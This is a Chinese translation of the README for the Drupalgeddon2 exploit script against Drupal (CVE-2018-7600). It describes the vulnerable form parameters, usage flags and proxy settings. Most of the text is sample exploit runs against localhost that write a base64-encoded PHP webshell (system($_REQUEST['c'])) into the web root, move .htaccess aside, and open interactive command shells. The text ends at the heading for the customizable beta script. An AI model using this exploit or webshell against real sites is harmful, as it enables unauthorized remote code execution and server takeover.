CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x < 7.58 / < 6.x - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

支持：

• Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ 通过 user/register URL 攻击 account/mail 和 #post_render 参数，使用 PHP 的 passthru 函数
• Drupal < 7.58 ~ 通过 user/password URL 攻击 triggering_element_name 表单和 #post_render 参数，使用 PHP 的 passthru 函数
• 支持直接命令执行（即无文件方法）或将PHP WebShell写入网站根目录（./）或子目录（./sites/default/ 和 ./sites/default/files/）
• 支持 Linux 和 Windows 目标
• 自动检测 Drupal 版本 （或进行合理猜测！）

针对 Drupal v8.x 选择了 user/register 方法，因为它会返回 HTTP 200 并在 data JSON 响应中渲染输出 （取消注释 timezone/#lazy_builder 方法的代码将返回 HTTP 500 且无回显） （更多信息）

作者：

• Hans Topo (@_dreadlocked)
• g0tmi1k (@g0tmi1k)

注意：

• 对于高级用户/配置，有一个更具可定制性的利用脚本。请参见 drupalgeddon2-customizable-beta.rb 部分
• 在提出问题之前，请先阅读末尾的故障排除部分。谢谢！

---

使用方法：

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

--verbose 和 --authentication 参数可以在 <target> 之后以任意顺序添加， 两者均为可选。 如果指定了 --authentication，系统会提示您输入以下信息：

• 用户名，
• 密码，
• 用户名字段名，
• 密码字段名，
• Web 登录页面的 URL 路径，例如 user/login
• 提交表单时附加在凭据后的后缀，例如 form_id 等

这是为了支持那些需要先通过基于 POST 的 Web 登录，并在成功验证后返回会话 cookie 的网站。

Drupal v8.x 示例

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x 示例

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

直接命令执行 / 非 PHP Shell（即无文件方法）

如果您不希望尝试向 Web 服务器写入 PHP WebShell，请按如下方式编辑文件 （如果找不到可写入的位置，脚本会回退到无文件方法）：

try_phpshelltryphpshell = false

示例

$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

代理支持

如需代理支持（例如 Burp），请编辑文件，替换为您的值。示例：

proxy_addr = "192.168.0.130"
proxy_port = 8080

---

实验性但可用：drupalgeddon2-customizable-beta.rb

drupalgeddon2-customizable-beta.rb 专为更高级的用户设计，因为它具有更高的可定制性。它允许您指定更多参数，例如要使用的 PHP 方法（不仅限于 system() 或 passthru()），以及到达用户/密码表单的方式。

使用示例：